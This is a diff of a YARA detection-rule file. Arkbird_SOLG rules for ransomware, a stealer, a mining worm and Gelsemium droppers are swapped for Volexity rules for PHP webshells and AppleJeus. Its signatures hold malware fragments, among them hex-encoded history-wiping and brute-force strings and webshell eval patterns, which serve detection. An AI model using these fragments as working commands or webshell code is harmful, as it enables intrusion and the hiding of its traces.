-		author = "Arkbird_SOLG"
-		id = "9cc1a1b9-c4a9-5add-833d-81be02ffc4fb"
-		date = "2020-10-16"
-		modified = "2020-10-16"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Crysis_Sep_2020_1.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "c7706b862cd0277c8b726d32dc819ad7e15933b28e3a31599922f3dc0beb8348"
+		description = "Look for PHP files which use file_get_contents and then shortly afterwards use an eval statement."
+		author = "threatintel@volexity.com"
+		id = "c00d8fee-f667-5979-ad2a-dbb762544c2f"
+		date = "2021-06-16"
+		modified = "2022-07-28"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L136-L152"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "c61f0ee13007e398f45711354a1ca948f7f34893c9bcbdf845be932b63bd746d"
 		score = 75
-		quality = 69
-		tags = "FILE"
-		hash1 = "34c485ad11076ede709ff409c0e1867dc50fd40311ae6e7318ddf50679fa4049"
-		hash2 = "4708750c9a6fdeaec5f499a3cd26bb5f61db4f82e66484dc7b44118effbb246f"
-		hash3 = "b565c8e1e81796db13409f37e4bd28877272b5e54ab5c0a3d9b6a024e7f5a039"
-		hash4 = "8e8b6818423930eea073315743b788aef2f41198961946046b7b89042cb3f95a"
+		quality = 80
+		tags = "WEBSHELLS, GENERAL"
+		hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 0
 
 	strings:
-		$s1 = { 6f 25 25 4a 72 2e 2e 5c 24 }
-		$s2 = { 52 53 44 53 25 7e 6d }
-		$s3 = { 78 78 4a 6f 25 25 5c 72 2e 2e 38 24 }
-		$s4 = { 25 65 65 ca af 7a 7a f4 8e ae ae 47 e9 08 08 10 18 ba ba }
-		$s5 = { 58 74 1a 1a 34 2e 1b 1b 36 2d 6e 6e dc b2 5a 5a b4 ee a0 a0 5b fb 52 52 a4 f6 3b 3b 76 4d d6 d6 b7 61 b3 b3 7d ce 29 29 52 7b e3 e3 dd 3e 2f 2f 5e 71 84 84 13 97 53 53 }
-		$s6 = { 3b 32 32 64 56 3a 3a 74 4e 0a 0a 14 1e 49 49 92 db 06 06 0c 0a 24 24 48 6c 5c 5c b8 e4 c2 c2 9f 5d d3 d3 bd 6e ac ac 43 ef 62 62 }
-		$s7 = { 26 4c 6a 26 36 6c 5a 36 3f 7e 41 3f f7 f5 02 f7 cc 83 4f cc 34 68 5c 34 a5 51 f4 a5 e5 d1 34 e5 f1 f9 08 f1 71 e2 93 71 d8 ab 73 d8 31 62 53 31 15 2a 3f 15 04 08 0c 04 c7 95 52 c7 23 46 65 23 }
-		$s8 = { 7e fc 82 7e 3d 7a 47 3d 64 c8 ac 64 5d ba e7 5d 19 32 2b 19 73 e6 95 73 60 c0 a0 60 81 19 98 81 4f 9e d1 4f dc a3 7f dc 22 44 66 22 2a 54 7e 2a 90 3b ab 90 88 0b 83 88 46 8c ca 46 ee c7 29 }
-		$s9 = "sssssbsss" fullword ascii
+		$s1 = "file_get_contents(\"php://input\");"
+		$s2 = "eval("
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and all of them
+		$s2 in (@s1[1]..@s1[1]+512)
 }
-rule ARKBIRD_SOLG_MAL_Polazert_Apr_2021_1 : FILE
+rule VOLEXITY_General_Php_Call_User_Func : GENERAL WEBSHELLS
 {
 	meta:
-		description = "Detect Polazert stealer"
-		author = "Arkbird_SOLG"
-		id = "c7766749-558f-50b8-9054-01f5c4e1238b"
-		date = "2021-04-11"
-		modified = "2021-04-11"
-		reference = "https://bazaar.abuse.ch/browse/tag/Polazert/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-11/Polazert/MAL_Polazert_Apr_2021_1.yar#L1-L21"
-		license_url = "N/A"
-		logic_hash = "29cefeb3816435e70c706ac78395738f075f6c9f81d63e7295b0d8a6f370b51d"
+		description = "Webshells using call_user_func against an object from a file input or POST variable."
+		author = "threatintel@volexity.com"
+		id = "48c7857e-7dda-5e3f-b82c-7d34c251f083"
+		date = "2021-06-16"
+		modified = "2022-07-28"
+		reference = "https://zhuanlan.zhihu.com/p/354906657"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L154-L170"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "46c999da97682023861e58f9cd2c8651480db990a0361c1985c6d5c35b5bf0ea"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 80
+		tags = "GENERAL, WEBSHELLS"
+		hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 0
 
 	strings:
-		$seq1 = { 73 ?? 00 00 0a 13 ?? 11 ?? 72 [2] 00 70 6f ?? 00 00 0a 00 11 ?? 72 [2] 00 70 11 ?? 72 [2] 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 ?? 17 6f ?? 00 00 0a 00 11 ?? 28 ?? 00 00 0a 26 }
-		$seq2 = { 1b 8d 0e 00 00 01 13 ?? 11 ?? 16 72 a1 03 00 70 a2 11 ?? 17 08 a2 11 ?? 18 72 53 03 00 70 a2 11 ?? 19 11 ?? a2 11 ?? 1a 72 e7 03 00 70 a2 11 ?? 28 47 00 00 0a 13 0a }
-		$seq3 = { 02 73 ?? 00 00 0a 28 ?? 00 00 0a 74 2a 00 00 01 [2-4] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 65 01 00 70 6f ?? 00 00 0a 00 [1-2] 72 87 01 00 70 6f ?? 00 00 0a 00 03 [1-2] 73 ?? 00 00 0a 13 }
-		$seq4 = { 1f 0f 8d ?? 00 00 01 13 ?? 11 ?? 16 72 ?? ?? 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 28 ?? 00 00 06 a2 11 ?? 1a 72 ?? ?? 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 ?? ?? 00 70 a2 11 ?? 1d 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1e 72 ?? ?? 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 ?? ?? 00 70 2b 05 72 ?? ?? 00 70 a2 11 ?? 1f 0a 72 [2] 00 70 a2 11 ?? 1f 0b [1-2] 7b 01 00 00 04 a2 11 ?? 1f 0c 72 [2] 00 70 a2 11 ?? 1f 0d 28 ?? 00 00 06 a2 11 ?? 1f 0e 72 [2] 00 70 a2 11 ?? 28 ?? 00 00 0a 13 }
-		$seq5 = { 1f ?? 8d ?? 00 00 01 13 ?? 11 ?? 16 72 91 01 00 70 a2 11 ?? 17 1a 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 68 9d 11 ?? 17 1f 77 9d 11 ?? 18 1f 69 9d 11 ?? 19 1f 64 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 18 72 b7 01 00 70 a2 11 ?? 19 ?? [0-1] a2 11 ?? 1a 72 bf 01 00 70 a2 11 ?? 1b 28 ?? 00 00 06 a2 11 ?? 1c 72 db 01 00 70 a2 11 ?? 1d 28 ?? 00 00 06 a2 11 ?? 1e 72 f7 01 00 70 a2 11 ?? 1f 09 28 ?? 00 00 06 2d 07 72 0d 02 00 70 2b 05 72 15 02 00 70 a2 11 ?? 1f 0a 72 1d 02 00 70 a2 11 ?? 1f 0b 28 ?? 00 00 06 2d 07 72 37 02 00 70 2b 05 72 41 02 00 70 a2 11 ?? 1f 0c 72 4d 02 00 70 a2 11 ?? 1f 0d ?? 7b ?? 00 00 04 a2 11 ?? 1f 0e 72 69 02 00 70 a2 11 ?? 1f 0f 1f 09 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 6b 9d 11 ?? 1a 1f 67 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 6f 9d 11 ?? 1d 1f 75 9d 11 ?? 1e 1f 70 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 10 72 b7 01 00 70 a2 11 ?? 1f 11 28 ?? 00 00 06 a2 11 ?? 1f 12 72 71 02 00 70 a2 11 ?? 1f 13 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6f 9d 11 ?? 18 1f 6d 9d 11 ?? 19 1f 61 9d 11 ?? 1a 1f 69 9d 11 ?? 1b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 a2 11 ?? 1f 14 72 69 02 00 70 a2 11 ?? 1f 15 19 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 64 9d 11 ?? 17 1f 6e 9d 11 ?? 18 1f 73 9d 11 ?? 28 ?? 00 00 06 a2 11 ?? 1f 16 72 79 02 00 70 a2 11 ?? 1f 17 1f 14 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 77 9d 11 ?? 17 1f 69 9d 11 ?? 18 1f 6e 9d 11 ?? 19 1f 33 9d 11 ?? 1a 1f 32 9d 11 ?? 1b 1f 5f 9d 11 ?? 1c 1f 63 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 70 9d 11 ?? 1f 0a 1f 75 9d 11 ?? 1f 0b 1f 74 9d 11 ?? 1f 0c 1f 65 9d 11 ?? 1f 0d 1f 72 9d 11 ?? 1f 0e 1f 73 9d 11 ?? 1f 0f 1f 79 9d 11 ?? 1f 10 1f 73 9d 11 ?? 1f 11 1f 74 9d 11 ?? 1f 12 1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1f 0c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 70 9d 11 ?? 17 1f 61 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 74 9d 11 ?? 1a 1f 6f 9d 11 ?? 1b 1f 66 9d 11 ?? 1c 1f 64 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 61 9d 11 ?? 1f 0a 1f 69 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 72 7f 02 00 70 28 ?? 00 00 0a 2d 07 72 8b 02 00 70 2b 05 72 8f 02 00 70 a2 11 ?? 1f 18 }
-		$seq6 = { 13 30 02 00 2d 00 00 00 ?? 00 00 11 00 72 ?? ?? 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 73 ?? 00 00 0a 0a 06 72 ?? ?? 00 70 6f ?? 00 00 0a 0b 07 6f ?? 00 00 0a }
-		$seq7 = { 8d ?? 00 00 01 13 ?? 11 ?? 16 72 [2] 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 [2] a2 11 ?? 1a 72 [2] 00 70 a2 11 }
-		$seq8 = { 12 ?? 28 ?? 00 00 06 0f 00 28 ?? 00 00 06 d0 ?? 00 00 1b 28 ?? 00 00 0a 28 ?? 00 00 0a a5 ?? 00 00 1b [1-2] 2b 00 [1-2] 2a }
-		$seq9 = { 1f 10 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 47 9d 11 ?? 17 1f 65 9d 11 ?? 18 1f 74 9d 11 ?? 19 1f 54 9d 11 ?? 1a 1f 68 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 65 9d 11 ?? 1d 1f 61 9d 11 ?? 1e 1f 64 9d 11 ?? 1f 09 1f 43 9d 11 ?? 1f 0a 1f 6f 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 1f 0c 1f 74 9d 11 ?? 1f 0d 1f 65 9d 11 ?? 1f 0e 1f 78 9d 11 ?? 1f 0f 1f 74 9d 11 ?? 28 97 00 00 06 28 09 00 00 2b 13 }
+		$s1 = "@call_user_func(new C()" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >15KB and 3 of them
+		$s1
 }
-rule ARKBIRD_SOLG_MAL_ELF_Go_Worm_Jul_2021_1 : FILE
+rule VOLEXITY_Webshell_Php_Icescorpion : COMMODITY WEBSHELL FILE
 {
 	meta:
-		description = "Detect the worm written in Go that drops XMRig Miner"
-		author = "Arkbird_SOLG"
-		id = "6f4a9d3a-e038-5d7f-9c18-c380a0b295d2"
-		date = "2021-07-06"
-		modified = "2021-07-06"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-06/MAL_ELF_Go_Worm_Jul_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "be8b95f8aab62d3a2b3376a0481ebc609afcd089e0613d39f258e07366b708a1"
+		description = "Detects the IceScorpion webshell."
+		author = "threatintel@volexity.com"
+		id = "dd165d67-375e-5d51-825a-45241345e268"
+		date = "2022-01-17"
+		modified = "2022-07-28"
+		reference = "https://www.codenong.com/cs106064226/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L172-L190"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "0c75ec7cbbfdba8ce5f71a83d78caf19366954b84f304c1864e68bbe11a9a2df"
 		score = 75
-		quality = 61
-		tags = "FILE"
-		hash1 = "774ccd1281b02bc9f0c7e7185c424a42cd98bcc758c893e8a96dfb206a02fcbe"
-		hash2 = "bea5a4358184555924ab6c831bf34edf279f4b93d750d5321263439dcf9c245a"
-		tlp = "White"
-		adversary = "-"
+		quality = 80
+		tags = "COMMODITY, WEBSHELL, FILE"
+		hash1 = "5af4788d1a61009361b37e8db65deecbfea595ef99c3cf920d33d9165b794972"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		memory_suitable = 0
 
 	strings:
-		$s1 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 43 68 65 63 6b 20 49 50 28 25 73 29 20 77 69 74 68 20 53 53 48 20 70 6f 72 74 20 69 73 20 6f 70 65 6e 2e 2e 2e }
-		$s2 = { 63 61 74 20 2f 64 65 76 2f 6e 75 6c 6c 20 3e 20 7e 2f 2e 62 61 73 68 5f 68 69 73 74 6f 72 79 20 26 26 20 68 69 73 74 6f 72 79 20 2d 63 }
-		$s3 = { 6e 6f 68 75 70 20 2e 2f 25 73 20 26 3e 20 6d 79 73 71 6c 6c 6f 67 73 20 26 }
-		$s4 = { 72 6d 20 2d 66 20 25 73 20 6d 79 73 71 6c 6c 6f 67 73 }
-		$s5 = { 63 6f 6d 6d 61 6e 64 20 2d 76 20 62 61 73 68 }
-		$s6 = { 53 74 6f 70 20 62 72 75 74 65 20 6f 6e 2c 20 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 3a 20 44 55 52 41 54 49 4f 4e 3a 20 25 66 }
-		$s7 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 }
+		$s1 = "[$i+1&15];"
+		$s2 = "openssl_decrypt"
 
 	condition:
-		uint32(0)==0x464c457f and filesize >900KB and all of ($s*)
+		all of them and filesize <10KB
 }
-rule ARKBIRD_SOLG_APT_Gelsemium_Gelsemine_June_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Applejeus_Oct22 : LAZARUS
 {
 	meta:
-		description = "Detect Gelsemine malware (Dropper - Variant 1)"
-		author = "Arkbird_SOLG"
-		id = "cfe932fd-ff50-5e54-824c-e11afe8e8575"
-		date = "2021-06-12"
-		modified = "2021-06-14"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsemine_June_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "2b5031412de163ad92dfe00c7da331eb36c4ce7b590df48dfa84df0104e93b15"
+		description = "Detects AppleJeus DLL samples."
+		author = "threatintel@volexity.com"
+		id = "f88e2253-e296-57d8-a627-6cb4ccff7a92"
+		date = "2022-11-03"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L1-L16"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "46f3325a7e8e33896862b1971f561f4871670842aecd46bcc7a5a1af869ecdc4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "00b701e3ef29912c1fcd8c2154c4ae372cfe542cfa54ffcce9fb449883097cec"
-		hash2 = "109d4b8878b8c8f3b7015f6b3ae573a6799296becce0f32ca3bd216bee0ab473"
-		hash3 = "fe71b66d65d5ff9d03a47197c99081d9ec8d5f6e95143bdc33f5ea2ac0ae5762"
-		hash3 = "29e78ca3cb49dd2985a29e74cafb1a0a15515670da0f4881f6095fb2926bfefd"
-		tlp = "white"
-		adversary = "Gelsemium"
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 8b 44 24 04 83 ec 40 85 c0 53 55 56 57 0f 84 ec 15 00 00 8b 58 1c 85 db 0f 84 e1 15 00 00 8b 48 0c 85 c9 0f 84 d6 15 00 00 83 38 00 75 0b 8b 48 04 85 c9 0f 85 c6 15 00 00 83 3b 0b 75 06 c7 03 0c 00 00 00 8b 48 0c 8b 30 8b 78 04 8b 53 38 8b 6b 3c 89 4c 24 28 8b 48 10 8b 03 83 f8 1e 89 4c 24 20 89 74 24 14 89 7c 24 18 89 54 24 10 89 7c 24 38 89 4c 24 2c c7 44 24 34 00 00 00 }
-		$s2 = { 33 c0 33 d2 8a 06 8a 56 01 03 c8 33 c0 8a 46 02 03 f9 03 ca 33 d2 8a 56 03 03 f9 03 c8 33 c0 8a 46 04 03 f9 03 ca 33 d2 8a 56 05 03 f9 03 c8 33 c0 8a 46 06 03 f9 03 ca 33 d2 8a 56 07 03 f9 03 c8 33 c0 8a 46 08 03 f9 03 ca 33 d2 8a 56 09 03 f9 03 c8 33 c0 8a 46 0a 03 f9 03 ca 33 d2 8a 56 0b 03 f9 03 c8 33 c0 8a 46 0c 03 f9 03 ca 33 d2 8a 56 0d 03 f9 03 c8 33 c0 8a 46 0e 03 f9 03 ca 33 d2 8a 56 0f 03 f9 03 c8 83 c6 10 03 f9 03 ca 03 f9 4d 0f 85 67 ff ff ff 8b c1 33 d2 b9 f1 ff 00 00 f7 f1 8b c7 bf f1 ff 00 00 8b ca 33 d2 f7 f7 ff 4c 24 18 8b fa 0f 85 38 ff ff ff 85 db 0f 84 da 00 00 00 83 fb 10 0f 82 a1 00 00 00 8b eb c1 ed 04 33 d2 33 c0 8a 16 8a 46 01 03 ca 33 d2 8a 56 02 03 f9 03 c8 33 c0 8a 46 03 03 f9 03 ca 33 d2 8a 56 04 03 f9 03 c8 33 c0 8a 46 05 03 f9 03 ca 33 d2 8a 56 06 03 f9 03 c8 33 c0 8a 46 07 03 f9 03 ca 33 d2 8a 56 08 03 f9 03 c8 33 c0 8a 46 09 03 f9 03 ca 33 d2 8a 56 0a 03 f9 03 c8 33 c0 8a 46 0b 03 f9 03 ca 33 d2 8a 56 0c 03 f9 03 c8 33 c0 8a 46 0d 03 f9 03 ca 33 d2 8a 56 0e 03 f9 03 c8 33 c0 8a 46 0f 03 f9 03 ca 83 eb 10 03 f9 03 c8 03 f9 83 c6 10 }
-		$s3 = { 55 8b ec 6a ff 68 [2] 40 00 68 [2] 40 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 68 53 56 57 89 65 e8 33 db 89 5d fc 6a 02 5f 57 ff 15 [2] 40 00 59 83 0d [2] 41 00 ff 83 0d [2] 41 00 ff ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 a1 [2] 40 00 8b 00 a3 [2] 41 00 e8 ?? 01 00 00 39 1d [3] 00 75 0c 68 [2] 40 00 ff 15 [2] 40 00 59 e8 ?? 01 00 00 68 [3] 00 68 [3] 00 e8 ?? 01 00 00 a1 [2] 41 00 89 45 94 8d 45 94 50 ff 35 [2] 41 00 8d 45 9c 50 8d 45 90 50 8d 45 a0 50 ff 15 [2] 40 00 68 [3] 00 68 00 [2] 00 e8 ?? 01 00 00 83 c4 24 a1 [2] 40 00 8b 30 3b }
+		$s1 = "HijackingLib.dll" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >150KB and all of ($s*)
+		$s1
 }
-rule ARKBIRD_SOLG_APT_Gelsemium_Gelsevirine_June_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Applejeus_B_Oct22 : LAZARUS
 {
 	meta:
-		description = "Detect Gelsevirine malware (Main Plug-in)"
-		author = "Arkbird_SOLG"
-		id = "31900186-2531-5558-aafb-67707040ddaf"
-		date = "2021-06-12"
-		modified = "2021-06-14"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsevirine_June_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "06e7ee49092621c8469eeb1cd9e5cc1420a1879084e0d0a39181dc046bfa00cf"
+		description = "Detected AppleJeus unpacked samples."
+		author = "threatintel@volexity.com"
+		id = "8586dc64-225b-5f28-a6d6-b9b6e8f1c815"
+		date = "2022-11-03"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L18-L41"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "76f3c9692ea96d3cadbbcad03477ab6c53445935352cb215152b9b5483666d43"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "1a9d78e5c255de239fb18b2cf47c4c2298f047073299c27fb54a0edf08a1d5a1"
-		hash1 = "51b9296ff1f562350cd63abd22c6032ef26d5ae6a3e2e5e0f851d8b1a5d0ee35"
-		tlp = "white"
-		adversary = "Gelsemium"
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 48 8b c4 55 41 56 41 57 48 8d a8 38 fa ff ff 48 81 ec b0 06 00 00 48 c7 85 a0 02 00 00 fe ff ff ff 48 89 58 08 48 89 70 10 48 89 78 18 4c 89 60 20 48 8b 05 68 bf 0b 00 48 33 c4 48 89 85 a0 05 00 00 45 33 e4 4c 89 65 08 4c 89 65 10 44 89 64 24 20 48 8d 54 24 20 48 8d 4d 08 e8 30 96 01 00 90 48 c7 85 f8 00 00 00 07 00 00 00 4c 89 a5 f0 00 00 00 66 44 89 a5 e0 00 00 00 45 8d 44 24 04 48 8d 15 79 d8 08 00 48 8d 8d e0 00 00 00 e8 dd b0 00 00 90 48 8d 8d e0 00 00 00 e8 50 30 ff ff 90 48 83 bd f8 00 00 00 08 72 0d 48 8b 8d e0 00 00 00 ff 15 b0 32 06 00 48 c7 85 b8 01 00 00 07 00 00 00 4c 89 a5 b0 01 00 00 66 44 89 a5 a0 01 00 00 41 b8 10 00 00 00 48 8d 15 61 d6 08 00 48 8d 8d a0 01 00 00 e8 85 b0 00 00 90 48 8d 95 a0 01 00 00 48 8d 8d 80 05 00 00 e8 41 96 01 00 90 48 83 bd b8 01 00 00 08 72 0d 48 8b 8d a0 01 00 00 ff 15 51 32 06 00 48 c7 85 68 04 00 00 07 00 00 00 4c 89 a5 60 04 00 00 66 44 89 a5 50 04 00 00 48 c7 85 78 01 00 00 07 00 00 00 4c 89 a5 70 01 00 00 66 44 89 a5 60 01 00 00 49 83 ce ff 4d 8b ce 45 33 c0 48 8d 95 80 05 00 00 48 8d 8d 60 01 00 00 e8 c8 ae 00 00 90 48 8d 95 60 01 00 00 48 8d 8d e0 01 00 00 e8 e4 5b ff ff 90 48 8d 8d 50 04 00 00 48 3b c8 74 15 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 50 04 00 00 e8 92 ae 00 00 48 8d 8d 50 04 00 00 e8 b6 11 ff ff 90 48 83 bd f8 01 00 00 08 72 0d 48 8b 8d e0 01 00 00 ff 15 a6 31 06 00 48 c7 85 f8 01 00 00 07 00 00 00 4c 89 a5 f0 01 00 00 66 44 89 a5 e0 01 00 00 48 83 bd 78 01 00 00 08 72 0d 48 8b 8d 60 01 00 00 ff 15 75 31 06 00 33 d2 48 8d 8d 50 04 00 00 e8 5f 2b 04 00 48 c7 85 58 01 00 00 07 00 00 00 4c 89 a5 50 01 00 00 66 44 89 a5 40 01 00 00 41 b8 0d 00 00 00 48 8d 15 b8 e2 08 00 48 8d 8d 40 01 00 00 e8 3c af 00 00 90 e8 96 2d ff ff 48 8d 48 30 48 8d 95 40 01 00 00 e8 b6 77 00 00 48 8b c8 e8 fe dc 02 00 48 8b c8 e8 16 d5 ff ff 90 48 83 bd 58 01 00 00 08 72 0d 48 8b 8d 40 01 00 00 ff 15 f6 30 06 00 48 c7 85 18 01 00 00 07 00 00 00 4c 89 a5 10 01 00 00 66 44 89 a5 00 01 00 00 41 b8 24 00 00 00 48 8d 15 d7 e3 08 00 48 8d 8d 00 01 00 00 e8 cb ae 00 00 90 48 8d 8d 00 01 00 00 e8 ce 6b 00 00 84 c0 0f 94 c3 48 83 bd 18 01 00 00 08 72 0d 48 8b 8d 00 01 00 00 ff 15 9a 30 06 00 84 db 0f 84 36 08 00 00 4c 89 a5 88 04 00 00 4c 89 a5 90 04 00 00 e8 f7 3b 01 00 48 89 85 88 04 00 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 41 b8 0b 00 00 00 48 8d 15 2a d6 08 00 48 8d 4d 38 e8 59 ae 00 00 90 e8 b3 2c ff ff 48 8d 48 30 48 8d 55 38 e8 96 75 00 00 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 98 04 00 00 e8 d7 ac 00 00 90 48 83 7d 50 08 72 0a 48 8b 4d 38 ff 15 fd 2f 06 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 4c 89 a5 b8 04 00 00 4c 89 a5 c0 04 00 00 4c 89 a5 c8 04 00 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 41 b8 01 00 00 00 48 8d 15 0d e3 08 00 48 8d 4d e8 e8 b8 ad 00 00 90 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 41 b8 0d 00 00 00 48 8d 15 e9 e2 08 00 48 8d 4d a8 